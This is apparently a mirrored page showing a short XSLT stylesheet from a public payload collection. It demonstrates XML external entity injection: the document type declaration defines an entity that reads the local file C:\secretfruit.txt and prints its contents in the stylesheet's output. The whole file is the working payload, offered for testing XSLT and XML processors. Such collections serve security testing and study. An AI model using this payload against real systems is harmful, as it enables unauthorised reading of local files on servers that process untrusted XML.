mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 12:26:17 +00:00
12 lines
482 B
XML
12 lines
482 B
XML
|
<?xml version="1.0" encoding="utf-8"?>
|
||
|
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
|
||
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
|
<xsl:template match="/fruits">
|
||
|
Fruits &ext_file;:
|
||
|
<!-- Loop for each fruit -->
|
||
|
<xsl:for-each select="fruit">
|
||
|
<!-- Print name: description -->
|
||
|
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
|
||
|
</xsl:for-each>
|
||
|
</xsl:template>
|
||
|
</xsl:stylesheet>
|